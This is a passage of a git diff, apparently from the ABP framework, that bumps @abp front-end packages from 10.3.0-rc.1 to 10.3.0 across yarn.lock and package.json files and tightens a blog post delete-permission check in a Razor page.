- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/owl.carousel@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/owl.carousel/-/owl.carousel-10.3.0-rc.1.tgz#ef497d41765f6d15eb60d240b053406b80dd2b5e"
- integrity sha512-6dNWJ7cTha3cdlNFreQGi6tzY4uYd5eSLAhdebEyPd72jKMpMxyfGQbi3x1hn3wP31/Wi1+QiELWIla1m5c9bg==
+"@abp/owl.carousel@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/owl.carousel/-/owl.carousel-10.3.0.tgz#840718a4b8ad7636bcb42d40169f42b863ac2537"
+ integrity sha512-r0Yfbf6MiKRa3fGrz7b/UBeRoPOBUPA39KV6JXIR5UDkn+Vu3BInacpB0HyksADzVcYyz06QvHGzlCOmikXzrg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
owl.carousel "^2.3.4"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/prismjs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0-rc.1.tgz#147852ca4e0f9ceebe5681b65ad440b48325021f"
- integrity sha512-sAWkFAP8GPx4UBR2EXg9Uz0sivK9CTWccUGGecttK9mNf12YbtVftmS145Fgip2+ifklPTcVRjXWIghyJPYu5Q==
+"@abp/prismjs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0.tgz#4ea33ece50cefcfc8a89c17b0d265b484b7205ee"
+ integrity sha512-WvkLyg+izkcX6sEOYy41B9lebiniYxMQZ++c+ysyOQKZzrYEEFOOLlnFS9jPqSKLv9cNRizhG1CCfiwoYCxufQ==
dependencies:
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/core" "~10.3.0"
prismjs "^1.30.0"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/tui-editor@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/tui-editor/-/tui-editor-10.3.0-rc.1.tgz#2c2353694efa6f61849f4ed8c769fea95e0304ee"
- integrity sha512-Vxi9yKFJ5uBgmULppS67a4hBYC5/B+LIOdvG125x0FlCI5vO2+s+QMz09nQ6Fu4EaLmh4F0Qu0Q8FmRubpj7Jw==
+"@abp/tui-editor@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/tui-editor/-/tui-editor-10.3.0.tgz#4fe3879111fe5ee312048841fca1cac43bb9bb62"
+ integrity sha512-6zGfaYSggalgpS9tKjESXT6w00KK7fKN71rG/hxRLNRpLGn5aapHdlAZRNEUgEFYo9czFdMW8POHpVA+sjcDMw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
- "@abp/prismjs" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
+ "@abp/prismjs" "~10.3.0"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/blogging/src/Volo.Blogging.Web/Pages/Blogs/Posts/Detail.cshtml b/modules/blogging/src/Volo.Blogging.Web/Pages/Blogs/Posts/Detail.cshtml
index df4f5bb153..2579202748 100644
--- a/modules/blogging/src/Volo.Blogging.Web/Pages/Blogs/Posts/Detail.cshtml
+++ b/modules/blogging/src/Volo.Blogging.Web/Pages/Blogs/Posts/Detail.cshtml
@@ -95,7 +95,7 @@
@L["Edit"]
}
- @if (await Authorization.IsGrantedAsync(BloggingPermissions.Posts.Delete) || (CurrentUser.Id.HasValue && CurrentUser.Id == Model.Post.CreatorId))
+ @if (await Authorization.IsGrantedAsync(BloggingPermissions.Posts.Delete))
{
|
diff --git a/modules/client-simulation/demo/Volo.ClientSimulation.Demo/package.json b/modules/client-simulation/demo/Volo.ClientSimulation.Demo/package.json
index 82362d6ebc..443413a399 100644
--- a/modules/client-simulation/demo/Volo.ClientSimulation.Demo/package.json
+++ b/modules/client-simulation/demo/Volo.ClientSimulation.Demo/package.json
@@ -1,8 +1,8 @@
{
- "version": "0.1.0",
- "name": "client-simulation-web",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
- }
+ "version": "0.1.0",
+ "name": "client-simulation-web",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
+ }
}
diff --git a/modules/client-simulation/demo/Volo.ClientSimulation.Demo/yarn.lock b/modules/client-simulation/demo/Volo.ClientSimulation.Demo/yarn.lock
index 6d0049cf6a..2e8f03c042 100644
--- a/modules/client-simulation/demo/Volo.ClientSimulation.Demo/yarn.lock
+++ b/modules/client-simulation/demo/Volo.ClientSimulation.Demo/yarn.lock
@@ -2,186 +2,186 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
